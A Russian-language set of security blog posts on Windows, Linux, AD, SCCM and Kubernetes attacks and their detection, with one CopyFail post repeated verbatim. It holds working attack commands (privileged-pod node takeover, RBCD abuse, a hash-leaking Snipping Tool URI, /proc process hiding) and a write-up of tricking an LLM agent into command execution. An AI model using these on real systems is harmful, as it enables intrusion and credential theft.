purple shift

Одна из главных тем в ИБ-новостях последних дней — противостояние корпорации Microsoft и анонимного исследователя Nightmare Eclipse, который за два месяца опубликовал уже шесть серьёзных эксплойтов для Windows. Самый неприятный из них — MiniPlasma — с апреля используется в реальных атаках. Официального патча пока нет. Как это работает: Эксплоит основан на CVE-2020-17103 — уязвимости локального повышения привилегий в драйвере Windows Cloud Files Mini Filter Driver (cldflt.sys). Уязвимость была обнаружена ещё в 2020 году, и считалась уже закрытой. Однако Nightmare Eclipse показал, что она работает до сих пор, позволяя локальному пользователю поднять права до SYSTEM. cldflt.sys — это системный драйвер, который реализует Cloud Files API (CFAPI) и используется для работы placeholder-файлов и механизмов синхронизации, включая OneDrive Files On-Demand. Для взаимодействия с драйвером эксплойт использует недокументированный API CfAbortHydration, предназначенный для прерывания проверки облачного файла. Этот API, в свою очередь, вызывает внутреннюю функцию драйвера cldflt!HsmOsBlockPlaceholderAccess, которая по своей логике должна блокировать доступ к облачному файлу путём создания соответствующего служебного ключа в реестре. Функция HsmOsBlockPlaceholderAccess выполняется в контексте привилегированного драйвера, но не проверяет, имеет ли вызывающий процесс права на запись в целевую ветку реестра. В результате эксплойт получает возможность создать произвольный ключ реестра в системной области HKEY_USERS\.DEFAULT, куда обычный пользователь не имеет доступа на запись. MiniPlasma создаёт в ветке HKU\.DEFAULT\Software\Policies\Microsoft\CloudFiles\BlockedApps не обычный ключ, а символическую ссылку (registry symbolic link). Эта ссылка перенаправляет на другую область реестра — \Registry\User\.DEFAULT\Volatile Environment, которая содержит временные переменные окружения для системного профиля. Через созданную символическую ссылку эксплойт изменяет значение переменной windir в Volatile Environment с C:\Windows на путь, контролируемый атакующим, например C:\Users\Public\FakeSystem (текущая директория + system32\wermgr.exe). В указанную атакующим директорию предварительно помещается поддельный исполняемый файл wermgr.exe. Далее эксплойт обращается к планировщику задач Windows и активирует встроенную задачу \Microsoft\Windows\Windows Error Reporting\QueueReporting. Эта задача настроена на запуск с правами SYSTEM и по умолчанию выполняет команду %windir%\system32\wermgr.exe. Благодаря ранее изменённой переменной windir система подставляет подконтрольный атакующему путь, и вместо легитимного системного файла запускается поддельный wermgr.exe — но уже с привилегиями NT AUTHORITY\SYSTEM (см. скриншот выше). Как детектировать атаку: 1. Отслеживайте создание SymbolLinks в ветке HKU\.DEFAULT\Software\Policies\Microsoft\CloudFiles\BlockedApps:

 category: registry_set 
    product: windows 
detection: 
    selection: 
        TargetObject|contains: 'Policies\Microsoft\CloudFiles\BlockedApps' 
        Details: 'SymbolicLinkValue' 
    condition: selection 

2. Отслеживайте появление wermgr.exe вне стандартных путей:

category: process_creation 
    product: windows 
detection: 
    selection: 
        TargetFilename|endswith: '\wermgr.exe' 
    filter_system_locations: 
        TargetFilename|startswith: 
            - 'C:\Windows\System32\' 
            - 'C:\Windows\SysWOW64\' 
            - 'C:\Windows\WinSxS\' 
            - 'C:\Windows\servicing\' 
            - 'C:\$WINDOWS.~BT\' 
            - 'C:\Windows\SoftwareDistribution\' 
    condition: selection and not filter_system_locations 

3. Отслеживайте запуск системных бинарников или их имитаций из нестандартных директорий.

На днях наши эксперты поучаствовали в одной скромной, зато очень неформальной ИБ-конференции под названием ЁPRSTCON. Основной темой выступлений технического трека стали проблемы информационной безопасности в эпоху всеобщего помешательства на AI. Но были доклады и на другие интересные темы. Например, о том, — почему до сих пор можно делать RCE через умерший IE, — откуда в RDP-логах мистический артефакт ::%16777216, — зачем нужно писать собственный сканер уязвимостей, — как устроены хакерские сообщества в разных странах, — как реверсить микроконтроллеры AVR. Поддерживая дух этой неформальной тусовки, мы не будем назвать имена крутых докладчиков и их компании, а просто дадим вам главную ссылку — где можно посмотреть видеозаписи всех технических докладов, с текстовыми транскриптами и слайдами: https://www.yoprstcon.ru/articles_manual_locB_html/ А ещё на конференции был гуманитарный трек — там рассказывали, как искусственный интеллект вытесняет музыкантов и писателей, какие психозы возникают от долгого общения с LLM-агентами, и каким методам родительской заботы можно поучиться у африканских лягушек. Записи гуманитарных докладов здесь: https://www.yoprstcon.ru/articles_manual_locA_html/

Microsoft Configuration Manager (SCCM) — это не просто инструмент установки обновлений. Это платформа управления информационной инфраструктурой предприятия в самом широком смысле: здесь и хранилище учётных данных, и возможность централизованного исполнения кода на тысячах устройств одновременно. Поэтому, будучи взят под контроль злоумышленниками, SCCM превращается в настоящий C2 для дальнейших атак на инфраструктуру. При этом повышение привилегий на SCCM зачастую не ловится традиционным средствами защиты от вредоносного ПО. Например, логическая уязвимость CVE-2025-47179 позволяет получить полный контроль над SCCM, не используя переполнения буфера, инъекции или обхода аутентификации. SCCM в этом случае работает строго по правилам, которые в него заложили. Просто задокументированное назначение роли и её фактические полномочия противоречат друг другу. Наши эксперты предлагают выявлять такие атаки с помощью инструмента SCCMInfo, который реализует мониторинг SCCM-сервера через подписку на события WMI. В частности, при эксплуатации уязвимости CVE-2025-47179 инструмент покажет такие события, как создание неизвестным пользователем с ограниченной ролью (CMPivot Administrator) новой записи об административном пользователе и назначение ему роли Full Administrator. Утилита SCCMInfo отслеживает и несколько других классов WMI-событий, которые могут быть признаками атаки, хотя выглядят как легитимное действие в рамках штатной работы SCCM — поэтому такие атаки не детектируются традиционными средствами защиты. Подробности — в статье Александра Родченко и Глеба Иванова "Ролевые игры: когда SCCM превращается в С2".

Сегодня расскажем ещё одну поучительную историю из практики наших пентестов. Однажды на проекте мы сами себе создали задачу: у нас было RCE от SYSTEM на контроллере домена, но мы не хотели создавать новые учетные записи или добавлять существующие в администраторы домена. А получить привилегии админа было нужно. Мы придумали несколько решений, и хотя не все они сработали, это был интересный опыт. Условия задачи: — Есть исполнение на доменном хосте от SYSTEM и NT-хеш пароля этого хоста. — Есть привилегии администратора домена в корневом домене в другом лесу AD (двухстороние трасты). — Есть RCE на контроллере домена (уязвимость в Veritas Backup Exec Agent). Не очень удобно исполнять команды (нет вывода), но можно читать и записывать файлы, запись через экплойт очень медленная. — Есть возможность подключения по SSH на linux-хост (без root-а). — Настрой на то, что чем меньше изменений и чем меньше придется чистить затем заказчику, тем лучше. Варианты решения: 1. Запустить агента Mythic — c SYSVOL на контроллере домена в другом лесу. Результат: ошибка Access Denied. — загрузить файл с агентом Mythic через эксплойт. Результат: запустить удалось, но правила файрвола не позволили установить ни bind, ни реверс-соединение. 2. Получить сертификат — выгрузить сертификат с приватным ключом из хранилища (командлеты Get-ChildItem -Path Cert:\CurrentUser\My\ для получения списка и Export-PfxCertificate для экспорта). Результат: не было сертификатов, для которых разрешен экспорт приватного ключа. — запросить новый сертификат. Результат: проанализировали шаблоны сертификатов и не нашли такого, чтобы контроллер мог запросить сертификат, использовать его для аутентификации и с возможностью экспорта приватного ключа. 3. Unconstrained delegation Так как уже были привилегии админа домена в другом лесу, а для контроллеров домена настроено неограниченное делегирование, можно было бы попробовать. Но в trustAttributes не было флага, разрешающего делегирование. Так что даже не пробовали. 4. Прочитать пароль LAPS Некоторые учетные записи компьютеров имели много привилегий (например, Exchange-сервера или центр сертификации) и получение привилегий админов на этих хостах могло бы помочь продвинуться дальше. Но модули с командлетами Get-LapsADPassword и Get-AdmPwdPassword не были установлены. 5. Релеи Это была скоре абстрактная идея. Linux-хостов с root-ом не было, и освобождать 445 порт на доменном хосте не хотелось. А служба WebClient для коерса на другой порт на контроллере не была установлена. Кроме того, на LDAP требовалась подпись, а шаблонов сертификатов, подходящих для ESC8, не было. 6. Сохранить учетные данные из реестра С помощью reg save или Silent Harvester можно было получить учетные данные из реестра. Получили бы NT-хеш контроллера домена и могли бы сделать DCSync. Но пришлось бы сохранять файлы в SYSVOL, чтобы получить к ним доступ с имеющейся учеткой. 7. Resource-based Constrained Delegation Так как у нас была скомпрометированная учетная запись хоста (её NT-хеш), удалось провести атаку на ограниченное делегирование на основе ресурсов. Модифицировать msDS-AllowedToActOnBehalfOfOtherIdentity учетной записи контроллера:

Set-ADComputer -Identity DC_Name -Properties PrincipalsAllowedToDelegateToAccount owned$

И затем сгенерировать TGS с имперсонацией учетной записи администратора домена или другого контроллера домена. Результат: успех. 8. Rubeus и т.п. Можно было бы загрузить на контроллер Rubeus или другие утилиты для дампа Kerberos-билетов, но после проверки идеи (1) мы поняли, что загрузить файл будет непросто. Мораль: Даже очень простая (на первый взгляд) задача "от RCE на контроллере до администратора домена" может иметь множество решений, если не пойти по первому пришедшему на ум пути.

Snipping Tool, или просто "Ножницы" — популярный инструмент Windows для работы со скриншотами. Но благодаря появлению PoC к уязвимости CVE-2026-33829, этот же инструмент позволяет похищать NetNTLM-хэши пользователей. Правда, для этого всё ещё нужен клик жертвы. Суть атаки: Приложение регистрирует кастомную URI-схему ms-screensketch. Она нужна, чтобы из браузера или другого приложения открыть скриншот на редактирование. Проблема в параметре filePath. Если указать там путь до сетевого ресурса, например \\attacker\share\img.png, то Snipping Tool попытается сделать запрос к удаленному каталогу. А заодно отправит NetNTLM-хэш текущего пользователя на сервер атакующего. Выглядит это примерно так:

ms-screensketch:edit?&filePath=\\192.168.100.10\snip\Imgur.png&isTemporary=false&saved=true&source=Toast

Теперь достаточно заманить пользователя на страницу с таким iframe или редиректом. Когда жертва соглашается с открытием картинки через Snipping Tool, открывается знакомый инструмент для обрезки картинок. А в фоне в это время утекает NetNTLM-хэш. При этом утечка происходит не только на внутренние адреса, но и на внешние. А также не только через SMB, но и через WebDAV (см. скриншоты выше). Это делает сценарий атаки заметно гибче. В инфраструктурах, где SMB на публичные адреса фильтруется, WebDAV вполне может пройти через прокси или разрешённые HTTP-маршруты. Как детектить: Отличительной особенностью здесь будет выступать запуск SnippingTool.exe c параметром filePath, который начинается с двойного обратного слэша \\ или с его URL-кодированной версии %5C%5C:

"C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2502.18.0_x64__8wekyb3d8bbwe\SnippingTool\SnippingTool.exe" ms-screensketch:edit?&filePath=%5C%5C192.168.100.10%5Csnip%5CImgur.png&isTemporary=false&saved=true&source=Toast

Также триггером могут стать исходящие SMB-запросы (445 порт) с хоста на внешние IP или на внутренние узлы, не являющиеся файловыми серверами домена. Как защищаться: Патч KB из апрельского апдейта Windows уже закрывает дыру. Если по какой-то причине обновить конкретную машину прямо сейчас нельзя, то есть смысл заблокировать схему ms-screensketch через GPO. В качестве общих рекомендаций стоит упомянуть, что большинство приложений для взаимодействия с WebDAV-серверами используют системный сервис WebClient. Поэтому стоит обращать внимание на внешние соединения, инициированные через C:\WINDOWS\system32\svchost.exe -k LocalService -p -s WebClient, содержащие в user-agent параметр Microsoft-WebDAV-MiniRedir/* и метод обращения PROPFIND. Однако этот индикатор может быть шумным. Также стоит рассмотреть возможность ограничения исходящего NTLM-трафика политикой: Computer Configuration > Administrative Templates > System > Net Logon > Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers.

Мы уже рассказывали, как наши пентестеры находят и анализируют кластеры Kubernetes. А сегодня — история о том, какие интересные доступы можно получить через такие кластеры. На одном из проектов после попадания во внутреннюю сеть мы обнаружили хост, у которого для сервиса на порту 443/TCP используется сертификат с common name: system:kube-apiserver. Похоже, это нода кластера Kubernetes c Kubernetes API? К нашему удивлению, API было доступно без аутентификации (проверяли только GET-запросы). Мы смогли получить данные о неймспейсах, подах и, что самое интересное, секретах. Сделали вывод, что это тестовый кластер Kubernetes. Но мы решили, что он все равно достоин внимания:

proxychains4 curl -vk https://<ip_address>/api/v1/namespaces
proxychains4 curl -vk https://<ip_address>/api/v1/nodes
proxychains4 curl -vk https://<ip_address>/api/v1/pods
proxychains4 curl -vk https://<ip_address>/api/v1/secrets

Из секретов мы получили токены 31 сервисной учётной записи (да, без аутентификации). Изучили привилегии этих учёток (объекты clusterrolebinding и clusterrole) и обнаружили, что с их использованием можно выполнять любые действия по управлению кластером, включая изменение ролей сервисных учетных записей, создание подов и исполнение команд в подах. Чтобы получить возможность исполнения команд на ноде, создали под с такой конфигурацией (контейнеры в кластере использовали образы из локального docker registry, так что в конфигурации мы указали один из используемых образов):

apiVersion: v1
kind: Pod
metadata:
  creationTimestamp: null
  labels:
    run: <my-pod>
  name: <my-pod>
spec:
  volumes:
  - name: host-filesystem
    hostPath:
      path: /
  containers:
  - command:
    - sleep
    - 2d
    image: <link_to_image>
    name: <my-pod>
    volumeMounts:
    - mountPath: /mnt/
      name: host-filesystem
    resources: {}
    securityContext:
      privileged: true
      runAsUser: 0
  dnsPolicy: ClusterFirst
  restartPolicy: Always
  nodeName: <node_name>
  hostNetwork: true
  hostPID: true
  hostIPC: true
status: {}

Команда для создания пода:

HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> create -f <pod.yml>

После создания пода запустили bash и изменили корневую директорию на корневую директорию ноды:

HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> exec -it <my-pod> -- bash

chroot /mnt

Так мы получили рутовый доступ на ноде (для закрепления можно было положить ключ в authorized_keys). В кластере было четыре ноды, поэтому было создано четыре пода с разными nodeName для исполнения на каждой ноде. После получения привилегированного доступа на одной из нод в файле /opt/some-service/config.yaml была обнаружена ссылка на файл в репозитории:

https://bitbucket.domain.local/projects/SERVICE/repos/service-back/browse/some/dir/config.java

А в директории /home/some-user/.ssh/ был обнаружен файл с приватным SSH-ключом identity.bitbucket.domain.local. Мы склонировали этот репозиторий и поискали в нем упоминания других. Нашлось 89 репозиториев.

git clone ssh://git@bitbucket.domain.local/SERVICE/service-back
grep -r -i 'bitbucket.domain.local' ./service-back

К тем репозиториям, что мы пробовали склонировать, удалось получить доступ с помощью обнаруженного ключа. Предполагаем, что далее мы могли бы найти больше репозиториев с исходным кодом приложений заказчика, и ко всем получили бы доступ с этим ключом. Выводы: Для команды красных: даже если вы понимаете, что попали в тестовую среду, не бросайте хост, осмотритесь. Может, найдете что-то полезное или расширите сетевой доступ. Для команды синих: не забывайте про тестовые среды, их тоже нужно защищать. Для всех: даже если вы думаете, что что-то невозможно (например, получение секретов из Kubernetes API без аутентификации) — стоит проверить. Вдруг оно сработает именно в этот раз.

В Windows 11 версии 24H2 и Windows Server 2025 добавлены новая политика и события аудита NTLM. Расширенный аудит поддерживает улучшенный мониторинг безопасности и идентификацию устаревших зависимостей проверки подлинности NTLM. Ранее в новых ОС Windows при установке с нуля стали по умолчанию включать различные методы защиты от релей-атак, такие как EPA, SMB signing и LDAP-Channel Binding. Тем не менее, при апгрейде со старых версий ОС настройки будут оставаться прежние, и атаки будут работать. Поэтому обращаем внимание на новые события: — 4020 (Informational) — 4021 (Warning) "This machine attempted to authenticate to a remote resource via NTLM” — 4022 (Informational) — 4023 (Warning) “A remote client is using NTLM to authenticate to this workstation” Эти события можно использовать для детектирования coercing-атак либо для анализа  нетипичных  настроек NTLM-аутентификации. На скриншоте выше — как раз пример coercing-атаки: цепочка событий 4023 и 4021 с одного IP-адреса атакующего.

Одна из горячих тем этого года в кибербезе: использование LLM для пентестов. В новостях пишут, что новые модели с большой скоростью находят множество уязвимостей, поэтому сон мясных пентестеров становится тревожным. Однако дьявол, как обычно, в деталях. В частности, использование облачных LLM для таких целей может быть сильно ограничено: как со стороны их владельцев (они боятся вредоносного применения своих нейронок), так и со стороны пользователей (они боятся утечки своих секретов через облачные сервисы). А как насчёт применения локальных LLM для пентестов? Здесь тоже есть свои подводные камни. Наш эксперт Ахмед Хлиф в своём исследовании проанализировал, как решают задачу поиска уязвимостей различные локальные версии популярных LLM (GLM, Qwen, GPT OSS, Gemma). Для теста было разработано пользовательское веб-приложение с несколькими уязвимостями, которые позволяют осуществлять SQL-инъекции. Локально развёрнутым моделям нужно было определить конечные точки веб-приложения и обнаружить уязвимости, используя только собственные рассуждения и знания: у них не было доступа к RAG и к поиску в Интернете, но был доступ к некоторым MCP-инструментам, таким как Chrome DevTools. Главный результат исследования: одна только скорость вывода не является надежным показателем эффективности работы AI-агента в реальных условиях. На качество результатов влияет целый ряд факторов, включая умение агента чётко выполнять инструкции. Некоторые нейронки делают то, чего их не просили — а это может быть опасно (как и неправильная работа с MCP-инструментами). А вот модели, которые показали себя лучшими в пентестах: — Лучшая модель в целом: GLM-4.7-Flash-UD-Q8_K_XL — Лучшее соотношение скорости и эффективности: Qwen3.5-35B-A3B-Q8_0 — Лучшая детализация уязвимостей: Qwen3.6-27B-UD-Q8_K_XL — Лучшая из маленьких моделей: Qwen3.5-9B-UD-Q8_K_XL Подробности читайте в статье Ахмеда Хлифа "Пентесты с помощью ИИ: что умеют локальные LLM"

На днях обнаружена серьёзная уязвимость CVE-2026-31431 (CopyFail) в ядре Linux, которая эксплуатируется во всех основных дистрибутивах. Уязвимость позволяет локальному непривилегированному пользователю получить права root. Суть узявимости: Криптографический алгоритм authencesn во время работы использует часть выделенной памяти в качестве «черновика» и записывает четыре байта прямо в страницы кеша файла. Это даёт атакующему возможность модифицировать кеш любого читаемого файла. Эксплоит представляет собой 732-байтный Python-скрипт, который последовательно вызывает операции AF_ALG и splice для записи четырёх контролируемых байт в кеш, например, setuid-приложения. В результате модифицируется исполняемый код в памяти и запускается шелл с рутовыми правами. Что делать: Рекомендуется в первую очередь обновить ядро, а если это невозможно — отключить модуль algif_aead (интерфейс AF_ALG для AEAD). Как детектировать атаку: Артефакты запуска исходного эксплоита на Python можно увидеть на скриншоте выше. Запуск отслеживается по характерным командным строкам:

sh -c -- su
sh -c -- newgrp
sh -c -- passwd
sh -c -- gpasswd
sh -c -- sudo
sh -c -- chfn
sh -c -- umount
sh -c -- mount
sh -c -- fusermount3
sh -c -- chsh
sh -c -- su

Аналогичные строки могут быть и с другими setuid-файлами. Также можно отслеживать атаку по характерной цепочке процессов: Python запускает Shell. Необходимо отметить, что уже появляются другие версии эксплоитов, детектирование которых может отличаться. Следите за подозрительными изменениями идентификатора пользователя родительского и дочернего процессов от неизвестных файлов либо файлов, нехарактерных для вашей инфраструктуры.

На днях обнаружена серьёзная уязвимость CVE-2026-31431 (CopyFail) в ядре Linux, которая эксплуатируется во всех основных дистрибутивах. Уязвимость позволяет локальному непривилегированному пользователю получить права root. Суть узявимости: Криптографический алгоритм authencesn во время работы использует часть выделенной памяти в качестве «черновика» и записывает четыре байта прямо в страницы кеша файла. Это даёт атакующему возможность модифицировать кеш любого читаемого файла. Эксплоит представляет собой 732-байтный Python-скрипт, который последовательно вызывает операции AF_ALG и splice для записи четырёх контролируемых байт в кеш, например, setuid-приложения. В результате модифицируется исполняемый код в памяти и запускается шелл с рутовыми правами. Что делать: Рекомендуется в первую очередь обновить ядро, а если это невозможно — отключить модуль algif_aead (интерфейс AF_ALG для AEAD). Как детектировать атаку: Артефакты запуска исходного эксплоита на Python можно увидеть на скриншоте выше. Запуск отслеживается по характерным командным строкам:

sh -c -- su
sh -c -- newgrp
sh -c -- passwd
sh -c -- gpasswd
sh -c -- sudo
sh -c -- chfn
sh -c -- umount
sh -c -- mount
sh -c -- fusermount3
sh -c -- chsh
sh -c -- su

Аналогичные строки могут быть и с другими setuid-файлами. Также можно отслеживать атаку по характерной цепочке процессов: Python запускает Shell. Необходимо отметить, что уже появляются другие версии эксплоитов, детектирование которых может отличаться. Следите за подозрительными изменениями идентификатора пользователя родительского и дочернего процессов от неизвестных файлов либо файлов, нехарактерных для вашей инфраструктуры.

Инструмент Bloodhound был создан в 2016 году для поиска способов получения привилегий доменного администратора с помощью представления взаимосвязей между объектами целевой Active Directory в виде графа. Несмотря на солидный возраст, Bloodhound до сих пор остаётся одним из популярных средств разведки и сбора данных в целевой инфраструктуре, и регулярно фигурирует в отчётах об инцидентах. Эксперты из нашей команды SOC Consulting протестировали работу свежих версий этого инструмента и выяснили, по каким следам в логах можно выявить разные методы сбора данных коллекторами SharpHound и Bloodhound.pу. Результаты вкратце: — основные правила корреляции для обнаружения обоих коллекторов строятся на событиях 5145, но можно использовать и события 5712 для более точного детектирования; — обнаружить работу обоих коллекторов также можно по LDAP-запросам с определёнными атрибутами, используя журналы 1644 «LDAP-Search»; — поскольку события, необходимые для обнаружения коллекторов, генерируются в большом количестве и могут быть связаны с легитимной активностью, стоит обращать внимание на характерные последовательности запросов и операций, происходящие в течение очень короткого времени (нескольких секунд). Все остальные ньюансы детектирования этого инструмента — в статье Степана Ляхова "Кто выпустил гончую. Ищем следы коллекторов Bloodhound в логах Windows".

Архитектура Windows преподнесла новый сюрприз, а точнее, новую поверхность атак в старой технологии. Межпроцессное взаимодействие в Windows опирается на протокол RPC (Remote Procedure Call) — сложный механизм, в котором год за годом выявляются различные уязвимости. Вот и наш эксперт Хайдар Кабибо, давно изучающий безопасность RPC, нашёл новый архитектурный вектор локального повышения привилегий, получивший название PhantomRPC. Суть техники: атакующий поднимает поддельный RPC-сервер, который отвечает на запросы клиента по тому же UUID/эндпойнту, что и легитимный сервер, а затем вызывает RpcImpersonateClient и получает контекст вызывающего процесса (вплоть до SYSTEM, в зависимости от сценария). Ключевое условие: у процесса атакующего есть привилегия SeImpersonatePrivilege (как правило, доступная для учётных записей Network Service или Local Service). Именно в этом случае становится возможна эскалация до SYSTEM или уровня администратора, если легитимный RPC-сервер недоступен — например, когда соответствующая служба отключена. Это не уязвимость конкретной службы (в отличие от семейства Potato), а следствие того, что RPC-рантайм не проверяет легитимность RPC-сервера и позволяет другому процессу зарегистрировать тот же эндпойнт, что и у легитимного сервера. В некоторых случаях требуются дополнительные условия среды (например, наличие определённой конфигурации GPO). Все описанные в исследовании пути повышения привилегий протестированы на Windows Server 2022 и Windows Server 2025 с последними обновлениями, доступными на момент исследования. Автор отмечает, что уязвимость может быть проэксплуатирована и на других версиях Windows, поскольку она является проблемой архитектурного дизайна. Что можно сделать до появления патча: — минимизировать SeImpersonatePrivilege у нестандартных/кастомных процессов (удалять её, если она не нужна); — по возможности включать легитимные сервисы, работающие на основе RPC, чтобы их RPC-эндпойнты были заняты штатными серверами; — включить ETW-мониторинг RPC-событий и отслеживать ошибки RPC_S_SERVER_UNAVAILABLE от высокопривилегированных клиентов — это позволяет обнаружить попытки подмены до её реального выполнения. Таким образом, уязвимость PhantomRPC открывает новую поверхность атак в Windows RPC и требует постоянного внимания администраторов и разработчиков приложений, использующих этот протокол. Подробности с примерами кода и схемами эксплуатации — в статье "PhantomRPC: новая техника повышения привилегий в Windows RPC". Этот доклад также вошёл в программу конференции Black Hat Asia 2026, которая завершается сегодня в Сингапуре.

Как мы и обещали, продолжаем историю про слишком самостоятельных LLM‑агентов. Наши эксперты проверили OpenClaw на дефолтных настройках — и добились того, что агент выполняет вредоносные системные команды в контексте текущего пользователя после клика по специально подготовленной ссылке. Вкратце о том, как это сделано: если сломать обычное получение контента (цепочка 301→204 или JS‑редирект), модель уходит в fallback и сама собирает вызов curl, а в аргументе этого вызова содержится URL, где спрятана подстановка $(…). В лайтовом примере атаки мы получили выполнение whoami, в серьезном — загрузку и запуск полезной нагрузки. Срабатывает не всегда, но достаточно часто, чтобы это считалось практическим риском. Проверили технику на разных LLM — получили схожее поведение. Мораль: полагаться на выравнивание моделей (LLM alignment) как на «границу безопасности» нельзя. Всю механику этой атаки с примерами HTTP-ответов и сниппетами кода на Python, а также рекомендации по защите, читайте в статье "Атака через OpenClaw: когда ваша LLM делает RCE". Кстати, интересно ваше мнение: это скорее prompt injection (ставьте смайлик в очках) или это уязвимость агента (ставьте смайлик пришелец). По вашим реакциям посмотрим, куда склонится комьюнити.

Служба WebClient, которая в Windows реализует протокол WebDAV, с точки зрения атакующего представляет особый интерес, так как позволяет осуществлять релей-атаки на другие протоколы (например, на LDAPS), что в свою очередь позволяет делать релей на контроллер домена. В частности, атакующий может повысить привилегии и даже полностью захватить домен, если служба WebClient установлена на сервере SCCM и выполнены следующие условия: — либо подпись LDAP, либо привязка канала LDAPS отключена хотя бы на одном контроллере домена, — включена автоматическая принудительная установка клиента (сlient push installation), — включен NTLM Fallback. На скриншоте выше представлен сценарий эксплуатации SCCM-сервера через механизм установки клиента (client push installation). Похожая картина будет и при атаках на принудительную аутентификацию (coerce). Как защищаться? Рекомендуем отключить службу WebClient на SCCM-серверах. Если это невозможно, мониторьте подозрительные обращения по протоколу WebDav от SCCM-сервера. О других техниках атак на System Center Configuration Manager (SCCM), а также о методах их детектирования вы можете узнать, если посмотрите запись доклада Александра Родченко и Глеба Иванова "C2 от Microsoft: Что может пойти не так, если SCCM окажется не в тех руках".

Если вы занимаетесь пентестом беспроводных сетей, то наверняка встречали инфраструктуры на основе 802.11r (Fast BSS Transition) — это стандарт быстрого роуминга, который активно используется в корпоративных сетях, на производстве, в складских комплексах и т.д. Но вот незадача: ни HashCat, ни John the Ripper такие хэши не поддерживали. Единственный рабочий вариант, который существовал до недавнего времени — использование однопоточного python-скрипта, который к тому же поддерживает только EAPOL и не умеет работать с PMKID. Это лучше, чем ничего, и такой вариант можно было использовать в качестве PoC и подбора по словарю из пары тысяч паролей. Но о каких-либо серьезных атаках по подбору пароля на GPU говорить не приходилось. Причина в том, что криптографическая схема в случае 802.11r несколько отличается от классического WPA-PSK. Ключ PMK считается так же — через PBKDF2-HMAC-SHA1, но дальше начинается своя кухня: цепочка из трёх шагов на HMAC-SHA256, плюс финальный MIC через AES-128-CMAC. И всё это с дополнительными параметрами (MDID, R0KH-ID, R1KH-ID), специфичными для конкретной беспроводной сети. Именно это пришлось реализовать нашим специалистам, когда они столкнулись с 802.11r на одном из проектов по анализу защищённости. И в итоге получился новый модуль для HashCat, с поддержкой обоих типов хэшей, PMKID и EAPOL для FT-PSK: https://github.com/hashcat/hashcat/pull/4645 Так что если на очередном пентесте вам попадётся сеть с 802.11r — больше не нужно довольствоваться однопоточным скриптом. Скармливаем пойманные хэши в HashCat и едём дальше!

Чтобы сделать вредоносные файлы невидимыми для систем защиты, атакующие используют различные техники. Самые известные — это руткиты и буткиты. Но иногда достаточно и более простых механизмов. Недавно мы наткнулись на технику маскировки процессов в Linux через bind mount поверх /proc. Когда утилита для монтирования файловых систем mount запускается с флагом bind, это позволяет "приклеить" одну директорию или файл в другую точку файловой системы. При этом исходные данные в целевой точке становятся невидимыми; фактически, они перекрываются содержимым примонтированного пути. Атакующий с root-доступом может использовать это для маскировки процессов. Например, процесс с PID 1234 можно спрятать через mount:

mount --bind /tmp/empty /proc/1234 

После этого содержимое настоящего /proc/1234 перекрывается пустой директорией. Утилиты вроде ps, top или htop читают данные именно из /proc, поэтому для них процесс как будто исчезает. При этом сам процесс продолжает работать: слушает порты, выполняет код, держит соединения. Иногда делают еще аккуратнее: поверх /proc/<pid>/exe или /proc/<pid>/cmdline монтируют другой файл. Тогда процесс вроде бы виден, но его бинарь или аргументы подменены. Как ловить атаку? Проверка mount-таблицы помогает обнаружить сокрытие процесса. Утилиты mount или findmnt покажут bind mounts внутри /proc. В нормальной системе их там почти не бывает. С точки зрения правил обнаружения для SOC, отслеживаем запуски утилиты mount с соответствующими аргументами: "--bind", "-B", "-o bind" и "/proc") Также имеет смысл мониторить системный вызов mount на уровне ядра. Например, для auditd простейшее правило аудита может выглядеть так:

auditctl -a always,exit -F arch=b64 -S mount -k mount_monitor 

В файле /var/log/audit/audit.log будут фиксироваться события монтирования, включая bind mounts. При анализе стоит обращать внимание на операции, где точкой монтирования выступают пути внутри /proc.

Только отгремел День бэкапов — а на дворе уже 1 апреля, когда в нашей стране отмечают другой большой праздник. Мы тоже решили не оставаться в стороне: отпразднуем этот день открытием собственного сайта! Да-да, теперь у нас есть сайт в старом добром Интернете, где все наши новости можно читать без регистрации и даже без сдачи биометрии: https://purpleshift.io/ru/purple/ Кстати, если у вас есть коллеги (партнеры, руководители, родственники), которые лучше понимают английский язык, чем русский — на этот случай имеется английская версия нашего блога: https://purpleshift.io/purple/ Остальные разделы сайта пока в разработке, так что про них расскажем позже. А наш ТГ-канал purpleshift продолжит обновляться, как и прежде. Просто не все наши материалы помещаются в краткий телеграмный формат. Но мы будем анонсировать все новинки здесь, по мере появления на сайте. Stay tuned!

Раньше мы каждый год выпускали два отдельных отчёта об инцидентах: от команды Managed Detection and Response (MDR) и от команды Inсident Response (IR). Для примера можно посмотреть такую статистику за 2023 год и за 2024 год. А в этом году сделали один общий отчёт — и сейчас расскажем, почему. Сами по себе статистика инцидентов у клиентов нашего MDR неплохо отражает реальный ландшафт угроз, поскольку клиенты сервиса есть во многих странах мира и во всех секторах экономики. На основе этой статистики за разные периоды можно даже предсказывать некоторые тенденции ближайшего будущего. Однако для более детального изучения угрозы желательно её наблюдение на всех этапах. А в условиях MDR это невозможно, поскольку вредоносная активность обнаруживается и предотвращается на ранних стадиях атаки, не успев развиться до ущерба. Зато в сервисе IR ситуация обратная: когда клиенты обращаются к этому сервису, зачастую ущерб уже налицо, и в рамках расследования нередко удается восстановить все стадии атаки. И в подавляющем большинстве случаев клиентские базы MDR и IR не пересекаются. Ведь хорошая работа MDR при условии полного покрытия инфраструктуры состоит в том, чтобы не допустить того этапа атаки, когда без IR не обойтись; с другой стороны, факт подключения IR, особенно когда уже есть ущерб, означает либо отсутствие MDR, либо проблемы с покрытием. Поэтому можно с уверенностью утверждать, что статистики инцидентов MDR и IR покрывают оба возможных профиля: — инфраструктуры, защищенные MDR, где атаки были обнаружены и предотвращены на ранних стадиях, и попали в статистику MDR, — инфраструктуры без MDR либо такие, где инциденты были пропущены и не попали в статистику MDR, но попали в статистику IR. Короче, объединение статистик MDR и IR позволяет лучше понимать нынешние и грядушие угрозы. Как это получилось в деталях — смотрите в отчёте.

